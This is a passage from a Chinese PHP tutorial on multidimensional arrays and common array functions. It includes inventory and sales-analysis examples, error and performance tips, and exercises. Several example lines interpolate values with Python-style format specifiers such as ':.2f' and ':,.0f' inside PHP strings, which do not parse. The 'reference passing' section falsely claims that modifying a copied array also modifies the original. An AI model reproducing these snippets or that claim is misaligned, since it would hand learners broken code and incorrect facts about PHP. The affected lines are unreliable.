foreach (["WH001", "WH002", "WH003"] as $warehouseId) {
    $inventory->displayWarehouseDetails($warehouseId);
    echo "\n";
}

// 显示产品分布
$inventory->displayProductDistribution("P001");
echo "\n";

// 库存转移
try {
    $inventory->transferStock("WH001", "WH002", "P001", 10);
    echo "成功转移10个iPhone 15从北京仓库到上海仓库\n\n";

    $inventory->displayProductDistribution("P001");
} catch (Exception $e) {
    echo "转移失败:" . $e->getMessage() . "\n";
}

// 库存预警
$alerts = $inventory->getLowStockAlerts(25);
if (!empty($alerts)) {
    echo "=== 库存预警 ===\n";
    foreach ($alerts as $alert) {
        echo "仓库:{$alert['warehouse_name']}\n";
        echo "产品:{$alert['product_name']} ({$alert['product_id']})\n";
        echo "当前库存:{$alert['current_quantity']} (阈值:{$alert['threshold']})\n\n";
    }
} else {
    echo "无库存预警\n";
}

// 生成完整报告
$report = $inventory->generateInventoryReport();
echo "=== 库存总报告 ===\n";
echo "生成时间:{$report['generated_at']}\n";
echo "总仓库数:{$report['summary']['total_warehouses']}\n";
echo "总产品种类:{$report['summary']['total_products']}\n";
echo "总库存量:{$report['summary']['total_quantity']} 件\n";
echo "总库存价值:¥{$report['summary']['total_value']:.2f}\n";
?>

3. 数据分析工具

<?php
class DataAnalyzer {
    private $data = [];

    // 加载数据
    public function loadData($data) {
        $this->data = $data;
    }

    // 从CSV文件加载数据
    public function loadFromCSV($filename) {
        if (!file_exists($filename)) {
            throw new Exception("文件不存在");
        }

        $this->data = [];
        $handle = fopen($filename, 'r');

        // 读取表头
        $headers = fgetcsv($handle);

        // 读取数据行
        while (($row = fgetcsv($handle)) !== false) {
            $this->data[] = array_combine($headers, $row);
        }

        fclose($handle);
    }

    // 获取数据概览
    public function getDataOverview() {
        if (empty($this->data)) {
            return null;
        }

        $overview = [
            "total_rows" => count($this->data),
            "columns" => array_keys($this->data[0]),
            "column_info" => []
        ];

        foreach ($overview["columns"] as $column) {
            $values = array_column($this->data, $column);
            $numericValues = array_filter($values, function($value) {
                return is_numeric($value);
            });

            $overview["column_info"][$column] = [
                "type" => count($numericValues) > 0 ? "numeric" : "text",
                "null_count" => count(array_filter($values, function($value) {
                    return $value === null || $value === '';
                })),
                "unique_values" => count(array_unique($values))
            ];

            if ($overview["column_info"][$column]["type"] === "numeric") {
                $numericValues = array_map('floatval', $numericValues);
                $overview["column_info"][$column]["min"] = min($numericValues);
                $overview["column_info"][$column]["max"] = max($numericValues);
                $overview["column_info"][$column]["average"] = array_sum($numericValues) / count($numericValues);
            }
        }

        return $overview;
    }

    // 按列分组统计
    public function groupBy($column, $valueColumn = null) {
        if (empty($this->data)) {
            return [];
        }

        $groups = [];

        foreach ($this->data as $row) {
            $key = $row[$column] ?? 'Unknown';

            if (!isset($groups[$key])) {
                $groups[$key] = [
                    "count" => 0,
                    "values" => [],
                    "rows" => []
                ];
            }

            $groups[$key]["count"]++;
            $groups[$key]["rows"][] = $row;

            if ($valueColumn && isset($row[$valueColumn]) && is_numeric($row[$valueColumn])) {
                $groups[$key]["values"][] = floatval($row[$valueColumn]);
            }
        }

        // 计算统计信息
        foreach ($groups as $key => &$group) {
            if (!empty($group["values"])) {
                $group["sum"] = array_sum($group["values"]);
                $group["average"] = $group["sum"] / count($group["values"]);
                $group["min"] = min($group["values"]);
                $group["max"] = max($group["values"]);
            }
        }

        return $groups;
    }

    // 数据透视表
    public function pivotTable($indexColumn, $columnColumn, $valueColumn, $aggregation = 'sum') {
        if (empty($this->data)) {
            return [];
        }

        $pivot = [];
        $columnValues = [];

        // 收集所有列值
        foreach ($this->data as $row) {
            $colValue = $row[$columnColumn] ?? 'Unknown';
            if (!in_array($colValue, $columnValues)) {
                $columnValues[] = $colValue;
            }
        }

        // 初始化透视表
        foreach ($this->data as $row) {
            $indexValue = $row[$indexColumn] ?? 'Unknown';

            if (!isset($pivot[$indexValue])) {
                $pivot[$indexValue] = array_fill_keys($columnValues, 0);
            }

            $colValue = $row[$columnColumn] ?? 'Unknown';
            $value = isset($row[$valueColumn]) && is_numeric($row[$valueColumn])
                    ? floatval($row[$valueColumn]) : 0;

            switch ($aggregation) {
                case 'sum':
                    $pivot[$indexValue][$colValue] += $value;
                    break;
                case 'count':
                    $pivot[$indexValue][$colValue]++;
                    break;
                case 'average':
                    // 平均值需要特殊处理
                    if (!isset($pivot[$indexValue][$colValue . '_sum'])) {
                        $pivot[$indexValue][$colValue . '_sum'] = 0;
                        $pivot[$indexValue][$colValue . '_count'] = 0;
                    }
                    $pivot[$indexValue][$colValue . '_sum'] += $value;
                    $pivot[$indexValue][$colValue . '_count']++;
                    $pivot[$indexValue][$colValue] = $pivot[$indexValue][$colValue . '_sum'] /
                                                    $pivot[$indexValue][$colValue . '_count'];
                    break;
            }
        }

        // 清理临时数据
        if ($aggregation === 'average') {
            foreach ($pivot as &$row) {
                foreach ($row as $key => $value) {
                    if (strpos($key, '_sum') !== false || strpos($key, '_count') !== false) {
                        unset($row[$key]);
                    }
                }
            }
        }

        return $pivot;
    }

    // 数据筛选
    public function filter($conditions) {
        return array_filter($this->data, function($row) use ($conditions) {
            foreach ($conditions as $column => $condition) {
                $value = $row[$column] ?? null;

                if (is_array($condition)) {
                    // 范围条件 ['min' => 10, 'max' => 100]
                    if (isset($condition['min']) && $value < $condition['min']) {
                        return false;
                    }
                    if (isset($condition['max']) && $value > $condition['max']) {
                        return false;
                    }
                    if (isset($condition['in']) && !in_array($value, $condition['in'])) {
                        return false;
                    }
                } else {
                    // 精确匹配
                    if ($value != $condition) {
                        return false;
                    }
                }
            }
            return true;
        });
    }

    // 数据排序
    public function sort($columns, $order = 'asc') {
        $sortedData = $this->data;

        usort($sortedData, function($a, $b) use ($columns, $order) {
            foreach ($columns as $column) {
                $aValue = $a[$column] ?? 0;
                $bValue = $b[$column] ?? 0;

                if ($aValue != $bValue) {
                    $result = $aValue <=> $bValue;
                    return $order === 'desc' ? -$result : $result;
                }
            }
            return 0;
        });

        return $sortedData;
    }

    // 显示数据表格
    public function displayTable($data = null, $limit = 10) {
        $displayData = $data ?? $this->data;

        if (empty($displayData)) {
            echo "没有数据可显示\n";
            return;
        }

        $columns = array_keys($displayData[0]);
        $displayCount = min($limit, count($displayData));

        // 计算列宽
        $columnWidths = [];
        foreach ($columns as $column) {
            $columnWidths[$column] = strlen($column);
        }

        for ($i = 0; $i < $displayCount; $i++) {
            foreach ($columns as $column) {
                $value = (string)($displayData[$i][$column] ?? '');
                $columnWidths[$column] = max($columnWidths[$column], strlen($value));
            }
        }

        // 显示表头
        foreach ($columns as $column) {
            printf("%-{$columnWidths[$column]}s  ", $column);
        }
        echo "\n";

        // 显示分隔线
        foreach ($columns as $column) {
            echo str_repeat("-", $columnWidths[$column]) . "  ";
        }
        echo "\n";

        // 显示数据行
        for ($i = 0; $i < $displayCount; $i++) {
            foreach ($columns as $column) {
                $value = (string)($displayData[$i][$column] ?? '');
                printf("%-{$columnWidths[$column]}s  ", $value);
            }
            echo "\n";
        }

        if ($displayCount < count($displayData)) {
            echo "\n... 显示前 {$displayCount} 行,共 " . count($displayData) . " 行\n";
        }
    }
}

// 使用示例
$analyzer = new DataAnalyzer();

// 创建示例销售数据
$salesData = [
    ["date" => "2023-01-01", "region" => "北京", "product" => "iPhone", "sales" => 120, "revenue" => 719880],
    ["date" => "2023-01-01", "region" => "上海", "product" => "iPhone", "sales" => 98, "revenue" => 587902],
    ["date" => "2023-01-01", "region" => "广州", "product" => "MacBook", "sales" => 45, "revenue" => 674955],
    ["date" => "2023-01-02", "region" => "北京", "product" => "MacBook", "sales" => 38, "revenue" => 569962],
    ["date" => "2023-01-02", "region" => "上海", "product" => "iPad", "sales" => 67, "revenue" => 267933],
    ["date" => "2023-01-02", "region" => "广州", "product" => "iPhone", "sales" => 85, "revenue" => 509915],
    ["date" => "2023-01-03", "region" => "北京", "product" => "iPad", "sales" => 52, "revenue" => 207948],
    ["date" => "2023-01-03", "region" => "上海", "product" => "MacBook", "sales" => 42, "revenue" => 629958],
    ["date" => "2023-01-03", "region" => "广州", "product" => "iPad", "sales" => 61, "revenue" => 243939]
];

$analyzer->loadData($salesData);

echo "=== 数据概览 ===\n";
$overview = $analyzer->getDataOverview();
echo "总行数:{$overview['total_rows']}\n";
echo "列数:" . count($overview['columns']) . "\n";
echo "列名:" . implode(", ", $overview['columns']) . "\n\n";

echo "=== 列信息 ===\n";
foreach ($overview['column_info'] as $column => $info) {
    echo "{$column}:\n";
    echo "  类型:{$info['type']}\n";
    echo "  空值数:{$info['null_count']}\n";
    echo "  唯一值数:{$info['unique_values']}\n";

    if ($info['type'] === 'numeric') {
        echo "  最小值:{$info['min']}\n";
        echo "  最大值:{$info['max']}\n";
        echo "  平均值:{$info['average']:.2f}\n";
    }
    echo "\n";
}

echo "=== 原始数据表格 ===\n";
$analyzer->displayTable(null, 5);

echo "\n=== 按地区分组统计 ===\n";
$regionGroups = $analyzer->groupBy("region", "revenue");
foreach ($regionGroups as $region => $group) {
    echo "{$region}:\n";
    echo "  记录数:{$group['count']}\n";
    echo "  总收入:¥{$group['sum']:,.0f}\n";
    echo "  平均收入:¥{$group['average']:,.0f}\n";
    echo "  最高收入:¥{$group['max']:,.0f}\n";
    echo "  最低收入:¥{$group['min']:,.0f}\n\n";
}

echo "=== 产品销售透视表(按地区) ===\n";
$pivotTable = $analyzer->pivotTable("region", "product", "sales", "sum");

// 显示透视表
$products = array_unique(array_column($salesData, 'product'));
$regions = array_unique(array_column($salesData, 'region'));

printf("%-10s", "地区\\产品");
foreach ($products as $product) {
    printf("%-10s", $product);
}
echo "\n";

foreach ($regions as $region) {
    printf("%-10s", $region);
    foreach ($products as $product) {
        $sales = $pivotTable[$region][$product] ?? 0;
        printf("%-10d", $sales);
    }
    echo "\n";
}

echo "\n=== 筛选数据(收入大于500000) ===\n";
$filtered = $analyzer->filter(["revenue" => ["min" => 500000]]);
$analyzer->displayTable($filtered);

echo "\n=== 按收入排序 ===\n";
$sorted = $analyzer->sort(["revenue"], "desc");
$analyzer->displayTable($sorted, 5);
?>

常见错误和解决方案

1. 数组维度错误

// 错误:试图访问不存在的维度
$data = [[1, 2], [3, 4]];
echo $data[0][2];  // Notice: Undefined offset

// 正确做法:检查数组维度
function getNestedValue($array, $path) {
    $current = $array;
    foreach ($path as $key) {
        if (!is_array($current) || !array_key_exists($key, $current)) {
            return null;
        }
        $current = $current[$key];
    }
    return $current;
}

$value = getNestedValue($data, [0, 1]);  // 安全访问

2. 引用传递问题

// 错误:意外修改原数组
$original = [[1, 2], [3, 4]];
$copy = $original;
$copy[0][0] = 99;  // $original也会被修改

// 正确做法:深拷贝
$deepCopy = json_decode(json_encode($original), true);
$deepCopy[0][0] = 99;  // 只影响副本

3. 内存使用问题

// 不好的做法:创建过大的数组
$hugeArray = [];
for ($i = 0; $i < 1000000; $i++) {
    $hugeArray[$i] = range(0, 100);  // 可能导致内存不足
}

// 好的做法:使用生成器或分批处理
function processLargeData($count) {
    for ($i = 0; $i < $count; $i++) {
        yield range($i, $i + 100);
    }
}

foreach (processLargeData(1000000) as $batch) {
    // 分批处理数据
}

性能优化建议

1. 选择合适的数据结构

// 对于频繁查找的操作,使用关联数组比多维数组更高效
// 不好的做法
$users = [
    [1, "张三", "zhangsan@example.com"],
    [2, "李四", "lisi@example.com"]
];

// 好的做法
$users = [
    1 => ["name" => "张三", "email" => "zhangsan@example.com"],
    2 => ["name" => "李四", "email" => "lisi@example.com"]
];

// 查找时O(1)时间复杂度
$user = $users[1] ?? null;

2. 避免深层嵌套

// 不好的做法:过深的嵌套
$config["database"]["connections"]["mysql"]["settings"]["timeout"] = 30;

// 好的做法:适当的扁平化
$config["mysql_timeout"] = 30;
// 或者使用配置类来管理

3. 使用内置函数

// 不好的做法:手动循环
$totals = [];
foreach ($data as $row) {
    $category = $row['category'];
    if (!isset($totals[$category])) {
        $totals[$category] = 0;
    }
    $totals[$category] += $row['amount'];
}

// 好的做法:使用内置函数
$totals = array_reduce($data, function($carry, $item) {
    $carry[$item['category']] = ($carry[$item['category']] ?? 0) + $item['amount'];
    return $carry;
}, []);

练习题

基础练习

  1. 创建和访问多维数组

    // 创建一个3x3的乘法表
    // 访问特定行和列的值
    // 计算对角线元素的和
    
  2. 二维数组操作

    // 创建学生成绩表
    // 计算每个学生的总分和平均分
    // 找出每科的最高分
    

进阶练习

  1. 矩阵操作

    // 实现矩阵加法和乘法
    // 计算矩阵的转置
    // 实现矩阵的行列式计算
    
  2. 数据透视

    // 将销售数据转换为透视表
    // 按多个维度分组统计
    // 实现动态的透视表生成
    

实战练习

  1. 简单的电子表格

    // 使用多维数组实现电子表格
    // 支持基本的单元格操作
    // 实现行和列的计算功能
    
  2. 游戏地图编辑器

    // 使用二维数组表示游戏地图
    // 实现地图的加载、保存和编辑
    // 支持图层和对象放置
    

总结

多维数组是PHP中处理复杂数据结构的重要工具。通过本节的学习,你应该:

  1. 理解多维数组的概念和应用场景
  2. 掌握创建、访问和修改多维数组的方法
  3. 熟练遍历和操作多维数组的技巧
  4. 了解多维数组在实际项目中的应用
  5. 能够优化多维数组的性能和内存使用

多维数组是数组学习的进阶内容,掌握好它将让你能够处理更加复杂和层次化的数据结构,为开发复杂的PHP应用打下坚实基础。

接下来,我们将学习常用的数组函数,这将进一步提升我们处理数组的能力。

常用数组函数

PHP提供了丰富的内置数组函数,这些函数可以大大简化数组操作,提高开发效率。掌握这些数组函数对于高效编写PHP代码至关重要。本章将介绍最常用和实用的数组函数,并通过实际示例展示它们的应用。

函数分类概览

PHP的数组函数可以分为以下几个主要类别:

  1. 数组创建和填充函数 - 创建和初始化数组
  2. 数组信息获取函数 - 获取数组的基本信息
  3. 数组搜索和过滤函数 - 查找和筛选数组元素
  4. 数组排序函数 - 对数组进行排序
  5. 数组合并和拆分函数 - 组合和分解数组
  6. 数组计算函数 - 进行数学计算
  7. 数组转换函数 - 改变数组的结构或类型
  8. 数组比较函数 - 比较数组的差异

数组创建和填充函数

1. range() - 创建包含指定范围元素的数组

// 创建数字序列
$numbers1 = range(1, 10);           // [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
$numbers2 = range(0, 100, 10);      // [0, 10, 20, 30, 40, 50, 60, 70, 80, 90, 100]
$numbers3 = range(10, 1);            // [10, 9, 8, 7, 6, 5, 4, 3, 2, 1]

// 创建字母序列
$letters = range('a', 'z');          // ['a', 'b', 'c', ..., 'z']
$uppercase = range('A', 'Z');        // ['A', 'B', 'C', ..., 'Z']

// 实际应用:生成考试座位表
function generateSeatingChart($rows, $cols) {
    $chart = [];
    for ($i = 0; $i < $rows; $i++) {
        $chart[$i] = range($i * $cols + 1, ($i + 1) * $cols);
    }
    return $chart;
}

$seatingChart = generateSeatingChart(3, 4);
print_r($seatingChart);
// [
//     [0] => [1, 2, 3, 4],
//     [1] => [5, 6, 7, 8],
//     [2] => [9, 10, 11, 12]
// ]

2. array_fill() - 用值填充数组

// 填充索引数组
$zeros = array_fill(0, 5, 0);        // [0, 0, 0, 0, 0]
$placeholders = array_fill(2, 3, 'X'); // [2 => 'X', 3 => 'X', 4 => 'X']

// 填充关联数组
$keys = ['name', 'age', 'email'];
$values = ['未知', 0, ''];
$userTemplate = array_fill_keys($keys, 'default');
// ['name' => 'default', 'age' => 'default', 'email' => 'default']

// 实际应用:初始化配置数组
function initConfig($sections) {
    $config = [];
    foreach ($sections as $section) {
        $config[$section] = array_fill_keys([
            'enabled', 'debug', 'timeout', 'retry_count'
        ], false);
    }
    return $config;
}

$config = initConfig(['database', 'cache', 'api']);

3. compact() - 从变量创建关联数组

$name = "张三";
$age = 25;
$email = "zhangsan@example.com";

// 从变量创建数组
$userInfo = compact("name", "age", "email");
// ['name' => '张三', 'age' => 25, 'email' => 'zhangsan@example.com']

// 动态创建
$variables = ['name', 'age', 'email'];
$userInfo = compact($variables);

// 实际应用:构建响应数据
function buildApiResponse($success, $message, $data = null) {
    $response = compact('success', 'message');
    if ($data !== null) {
        $response['data'] = $data;
    }
    $response['timestamp'] = time();
    return $response;
}

$response = buildApiResponse(true, "操作成功", ["id" => 1, "name" => "测试"]);

数组信息获取函数

1. count() / sizeof() - 计算数组元素数量

$fruits = ["apple", "banana", "orange", "grape"];
$count = count($fruits);            // 4

// 多维数组计数
$matrix = [
    [1, 2, 3],
    [4, 5, 6],
    [7, 8, 9]
];
$totalElements = count($matrix, COUNT_RECURSIVE);  // 9(递归计数)
$firstLevel = count($matrix);                      // 3(只计算第一级)

// 实际应用:验证表单数据
function validateRequiredFields($data, $requiredFields) {
    $missing = [];
    foreach ($requiredFields as $field) {
        if (!isset($data[$field]) || empty($data[$field])) {
            $missing[] = $field;
        }
    }
    return $missing;
}

$data = ["name" => "张三", "email" => ""];
$missing = validateRequiredFields($data, ["name", "email", "age"]);
// 返回:["email", "age"]

2. array_key_exists() - 检查键是否存在

$user = ["name" => "张三", "age" => 25];
$hasName = array_key_exists("name", $user);     // true
$hasEmail = array_key_exists("email", $user);   // false

// 与isset()的区别
$user = ["name" => null];
$hasName = array_key_exists("name", $user);     // true(键存在)
$isSetName = isset($user["name"]);               // false(值为null)

// 实际应用:安全获取配置值
function getConfig($config, $key, $default = null) {
    if (array_key_exists($key, $config)) {
        return $config[$key];
    }
    return $default;
}

$config = ["host" => "localhost", "port" => 3306];
$host = getConfig($config, "host", "default_host");
$timeout = getConfig($config, "timeout", 30);  // 使用默认值

3. in_array() - 检查值是否在数组中

$fruits = ["apple", "banana", "orange"];
$hasApple = in_array("apple", $fruits);        // true
$hasGrape = in_array("grape", $fruits);       // false

// 严格比较(类型也要匹配)
$numbers = [1, 2, 3];
$hasString1 = in_array("1", $numbers);          // true(非严格比较)
$hasString1Strict = in_array("1", $numbers, true); // false(严格比较)

// 实际应用:权限检查
function hasPermission($userRole, $requiredRoles) {
    return in_array($userRole, $requiredRoles);
}

$role = "editor";
$allowedRoles = ["admin", "editor", "moderator"];
if (hasPermission($role, $allowedRoles)) {
    echo "有权限访问";
}

4. array_search() - 搜索值并返回键

$users = ["张三", "李四", "王五", "李四"];
$key = array_search("李四", $users);         // 1(第一个匹配的键)
$key = array_search("赵六", $users);         // false(未找到)

// 严格比较
$numbers = [1, "1", 2];
$key = array_search("1", $numbers, true);    // 1(字符串"1"的键)

// 实际应用:查找用户ID
function findUserId($users, $username) {
    foreach ($users as $id => $user) {
        if ($user['username'] === $username) {
            return $id;
        }
    }
    return false;
}

$users = [
    1 => ["username" => "admin", "name" => "管理员"],
    2 => ["username" => "user", "name" => "用户"]
];
$userId = findUserId($users, "admin");  // 返回 1

数组搜索和过滤函数

1. array_filter() - 用回调函数过滤数组

$numbers = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10];

// 过滤偶数
$evens = array_filter($numbers, function($num) {
    return $num % 2 == 0;
});
// [2, 4, 6, 8, 10]

// 过滤关联数组
$users = [
    ["name" => "张三", "age" => 25, "status" => "active"],
    ["name" => "李四", "age" => 30, "status" => "inactive"],
    ["name" => "王五", "age" => 22, "status" => "active"]
];

$activeUsers = array_filter($users, function($user) {
    return $user["status"] === "active";
});

// 实际应用:获取符合条件的记录
function getProductsByCategory($products, $category) {
    return array_filter($products, function($product) use ($category) {
        return $product["category"] === $category;
    });
}

$products = [
    ["name" => "iPhone", "category" => "手机", "price" => 5999],
    ["name" => "MacBook", "category" => "笔记本", "price" => 14999],
    ["name" => "iPad", "category" => "平板", "price" => 3999]
];

$phones = getProductsByCategory($products, "手机");

2. array_map() - 对数组元素应用回调函数

$numbers = [1, 2, 3, 4, 5];

// 每个元素平方
$squared = array_map(function($num) {
    return $num * $num;
}, $numbers);
// [1, 4, 9, 16, 25]

// 同时处理多个数组
$names = ["张三", "李四", "王五"];
$ages = [25, 30, 22];
$result = array_map(function($name, $age) {
    return ["name" => $name, "age" => $age, "age_group" => $age < 30 ? "青年" : "中年"];
}, $names, $ages);

// 实际应用:数据格式化
function formatProducts($products) {
    return array_map(function($product) {
        return [
            "name" => strtoupper($product["name"]),
            "price" => "¥" . number_format($product["price"], 2),
            "in_stock" => $product["stock"] > 0 ? "有货" : "缺货"
        ];
    }, $products);
}

$products = [
    ["name" => "iPhone", "price" => 5999.5, "stock" => 50],
    ["name" => "MacBook", "price" => 14999.99, "stock" => 0]
];
$formatted = formatProducts($products);

3. array_reduce() - 用回调函数将数组缩减为单一值

$numbers = [1, 2, 3, 4, 5];

// 计算总和
$sum = array_reduce($numbers, function($carry, $item) {
    return $carry + $item;
}, 0);  // 15

// 计算乘积
$product = array_reduce($numbers, function($carry, $item) {
    return $carry * $item;
}, 1);  // 120

// 实际应用:统计计算
function calculateStats($records, $field) {
    return array_reduce($records, function($carry, $record) use ($field) {
        $carry['sum'] += $record[$field];
        $carry['count']++;
        $carry['max'] = max($carry['max'], $record[$field]);
        $carry['min'] = min($carry['min'], $record[$field]);
        return $carry;
    }, ['sum' => 0, 'count' => 0, 'max' => PHP_INT_MIN, 'min' => PHP_INT_MAX]);
}

$sales = [
    ["amount" => 1000, "date" => "2023-01-01"],
    ["amount" => 1500, "date" => "2023-01-02"],
    ["amount" => 800, "date" => "2023-01-03"]
];
$stats = calculateStats($sales, "amount");
$average = $stats['sum'] / $stats['count'];

4. array_column() - 获取数组中指定列的值

$users = [
    ["id" => 1, "name" => "张三", "email" => "zhangsan@example.com"],
    ["id" => 2, "name" => "李四", "email" => "lisi@example.com"],
    ["id" => 3, "name" => "王五", "email" => "wangwu@example.com"]
];

// 提取name列
$names = array_column($users, "name");
// ["张三", "李四", "王五"]

// 提取name列,以id为键
$namesById = array_column($users, "name", "id");
// [1 => "张三", 2 => "李四", 3 => "王五"]

// 从对象数组中提取
$objects = [
    (object)["id" => 1, "name" => "张三"],
    (object)["id" => 2, "name" => "李四"]
];
$names = array_column($objects, "name", "id");

// 实际应用:数据提取和转换
function extractProductOptions($products) {
    return array_column($products, "name", "id");
}

function calculateTotalByCategory($products) {
    $categoryTotals = [];
    foreach ($products as $product) {
        $category = $product['category'];
        if (!isset($categoryTotals[$category])) {
            $categoryTotals[$category] = 0;
        }
        $categoryTotals[$category] += $product['price'];
    }
    return $categoryTotals;
}

数组排序函数

1. sort() / rsort() - 升序/降序排序索引数组

$numbers = [3, 1, 4, 1, 5, 9, 2, 6];
sort($numbers);        // [1, 1, 2, 3, 4, 5, 6, 9] 升序
rsort($numbers);       // [9, 6, 5, 4, 3, 2, 1, 1] 降序

// 字符串排序
$fruits = ["orange", "apple", "banana", "grape"];
sort($fruits);         // ["apple", "banana", "grape", "orange"]

// 自然排序
$fileNames = ["file1.txt", "file10.txt", "file2.txt"];
sort($fileNames);      // 标准排序:file1.txt, file10.txt, file2.txt
natsort($fileNames);   // 自然排序:file1.txt, file2.txt, file10.txt

2. asort() / arsort() - 保持键值关联的排序

$scores = [
    "张三" => 85,
    "李四" => 92,
    "王五" => 78,
    "赵六" => 95
];

asort($scores);        // 按值升序,保持键
// ["王五" => 78, "张三" => 85, "李四" => 92, "赵六" => 95]

arsort($scores);       // 按值降序,保持键
// ["赵六" => 95, "李四" => 92, "张三" => 85, "王五" => 78]

// 实际应用:排行榜
function getRanking($scores, $order = 'desc') {
    if ($order === 'desc') {
        arsort($scores);
    } else {
        asort($scores);
    }

    return $scores;
}

$studentScores = ["张三" => 85, "李四" => 92, "王五" => 78];
$ranking = getRanking($studentScores);

3. ksort() / krsort() - 按键排序

$userData = [
    "age" => 25,
    "name" => "张三",
    "email" => "zhangsan@example.com",
    "phone" => "13800138000"
];

ksort($userData);       // 按键升序
krsort($userData);      // 按键降序

// 实际应用:配置排序
function sortConfigByKeys($config, $keyOrder) {
    $sorted = [];
    foreach ($keyOrder as $key) {
        if (array_key_exists($key, $config)) {
            $sorted[$key] = $config[$key];
        }
    }
    // 添加剩余的键
    foreach ($config as $key => $value) {
        if (!array_key_exists($key, $sorted)) {
            $sorted[$key] = $value;
        }
    }
    return $sorted;
}

$config = ["host" => "localhost", "port" => 3306, "database" => "test", "timeout" => 30];
$keyOrder = ["host", "port", "database", "timeout"];
$sortedConfig = sortConfigByKeys($config, $keyOrder);

4. usort() - 使用自定义函数排序

$users = [
    ["name" => "张三", "age" => 25, "score" => 85],
    ["name" => "李四", "age" => 30, "score" => 92],
    ["name" => "王五", "age" => 22, "score" => 78],
    ["name" => "赵六", "age" => 28, "score" => 88]
];

// 按年龄排序
usort($users, function($a, $b) {
    return $a["age"] - $b["age"];
});

// 按分数降序,年龄升序
usort($users, function($a, $b) {
    if ($a["score"] === $b["score"]) {
        return $a["age"] - $b["age"];  // 分数相同按年龄
    }
    return $b["score"] - $a["score"];  // 按分数降序
});

// 实际应用:复杂排序
function sortProducts($products, $criteria) {
    usort($products, function($a, $b) use ($criteria) {
        foreach ($criteria as $field => $order) {
            $comparison = $a[$field] <=> $b[$field];
            if ($comparison !== 0) {
                return $order === 'desc' ? -$comparison : $comparison;
            }
        }
        return 0;
    });
    return $products;
}

$products = [
    ["name" => "A", "price" => 100, "stock" => 10],
    ["name" => "B", "price" => 100, "stock" => 5],
    ["name" => "C", "price" => 80, "stock" => 15]
];
$sorted = sortProducts($products, ["price" => "desc", "stock" => "asc"]);

5. array_multisort() - 多维数组排序

$data = [
    ["name" => "张三", "score" => 85, "age" => 25],
    ["name" => "李四", "score" => 92, "age" => 30],
    ["name" => "王五", "score" => 78, "age" => 22],
    ["name" => "赵六", "score" => 85, "age" => 28]
];

// 提取排序列
$scores = array_column($data, "score");
$ages = array_column($data, "age");

// 先按分数降序,再按年龄升序
array_multisort($scores, SORT_DESC, $ages, SORT_ASC, $data);

// 实际应用:数据报表排序
function sortReportData($data, $sortColumns) {
    $sortArrays = [];
    foreach ($sortColumns as $column => $order) {
        $sortArrays[] = array_column($data, $column);
        $sortArrays[] = $order === 'desc' ? SORT_DESC : SORT_ASC;
    }
    $sortArrays[] = &$data;
    array_multisort(...$sortArrays);
    return $data;
}

$sales = [
    ["region" => "北京", "amount" => 1000, "date" => "2023-01-01"],
    ["region" => "上海", "amount" => 1500, "date" => "2023-01-02"],
    ["region" => "北京", "amount" => 1200, "date" => "2023-01-03"]
];
$sorted = sortReportData($sales, ["region" => "asc", "amount" => "desc"]);

数组合并和拆分函数

1. array_merge() - 合并数组

$array1 = [1, 2, 3];
$array2 = [4, 5, 6];
$merged = array_merge($array1, $array2);  // [1, 2, 3, 4, 5, 6]

// 关联数组合并
$config1 = ["host" => "localhost", "port" => 3306];
$config2 = ["database" => "test", "timeout" => 30];
$config = array_merge($config1, $config2);
// ["host" => "localhost", "port" => 3306, "database" => "test", "timeout" => 30]

// 相同键的处理
$user1 = ["name" => "张三", "age" => 25];
$user2 = ["name" => "李四", "email" => "lisi@example.com"];
$merged = array_merge($user1, $user2);
// ["name" => "李四", "age" => 25, "email" => "lisi@example.com"](后面的覆盖前面的)

// 实际应用:配置合并
function mergeConfig($defaultConfig, $userConfig) {
    return array_merge($defaultConfig, $userConfig);
}

$default = ["debug" => false, "timeout" => 30, "retry" => 3];
$user = ["debug" => true, "retry" => 5];
$config = mergeConfig($default, $user);
// ["debug" => true, "timeout" => 30, "retry" => 5]

2. array_slice() - 截取数组的一部分

$numbers = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10];

// 获取前5个元素
$firstFive = array_slice($numbers, 0, 5);  // [1, 2, 3, 4, 5]

// 获取第3到第6个元素
$middle = array_slice($numbers, 2, 4);    // [3, 4, 5, 6]

// 最后3个元素
$lastThree = array_slice($numbers, -3);   // [8, 9, 10]

// 保持键的关联
$assoc = ["a" => 1, "b" => 2, "c" => 3, "d" => 4];
$slice = array_slice($assoc, 1, 2, true); // ["b" => 2, "c" => 3]

// 实际应用:分页功能
function paginate($data, $page, $perPage) {
    $offset = ($page - 1) * $perPage;
    return array_slice($data, $offset, $perPage);
}

$items = range(1, 100);
$page1 = paginate($items, 1, 10);  // [1-10]
$page2 = paginate($items, 2, 10);  // [11-20]

3. array_splice() - 移除并替换数组的一部分

$numbers = [1, 2, 3, 4, 5, 6, 7, 8];

// 移除元素
$removed = array_splice($numbers, 2, 3);  // 从索引2开始移除3个元素
// $numbers 变为 [1, 2, 6, 7, 8]
// $removed 为 [3, 4, 5]

// 替换元素
array_splice($numbers, 1, 2, [9, 10, 11]);
// $numbers 变为 [1, 9, 10, 11, 6, 7, 8]

// 实际应用:数组元素操作
function insertAfter(&$array, $search, $insert) {
    $index = array_search($search, $array);
    if ($index !== false) {
        array_splice($array, $index + 1, 0, $insert);
        return true;
    }
    return false;
}

$list = ["苹果", "香蕉", "橙子"];
insertAfter($list, "香蕉", ["葡萄", "草莓"]);
// ["苹果", "香蕉", "葡萄", "草莓", "橙子"]

4. array_chunk() - 将数组分割成块

$numbers = range(1, 10);

// 每个块3个元素
$chunks = array_chunk($numbers, 3);
// [
//   [0] => [1, 2, 3],
//   [1] => [4, 5, 6],
//   [2] => [7, 8, 9],
//   [3] => [10]
// ]

// 保持键的关联
$assoc = ["a" => 1, "b" => 2, "c" => 3, "d" => 4];
$chunks = array_chunk($assoc, 2, true);
// [
//   [0] => ["a" => 1, "b" => 2],
//   [1] => ["c" => 3, "d" => 4]
// ]

// 实际应用:批量处理
function processInBatches($items, $batchSize, $callback) {
    $batches = array_chunk($items, $batchSize);
    $results = [];

    foreach ($batches as $batch) {
        $results[] = $callback($batch);
    }

    return $results;
}

$emails = ["user1@test.com", "user2@test.com", /*...*/];
$results = processInBatches($emails, 100, function($batch) {
    // 批量发送邮件
    return sendEmails($batch);
});

数组计算函数

1. array_sum() - 计算数组元素和

$numbers = [1, 2, 3, 4, 5];
$sum = array_sum($numbers);  // 15

// 计算特定字段的总和
$products = [
    ["name" => "A", "price" => 100, "quantity" => 2],
    ["name" => "B", "price" => 50, "quantity" => 3],
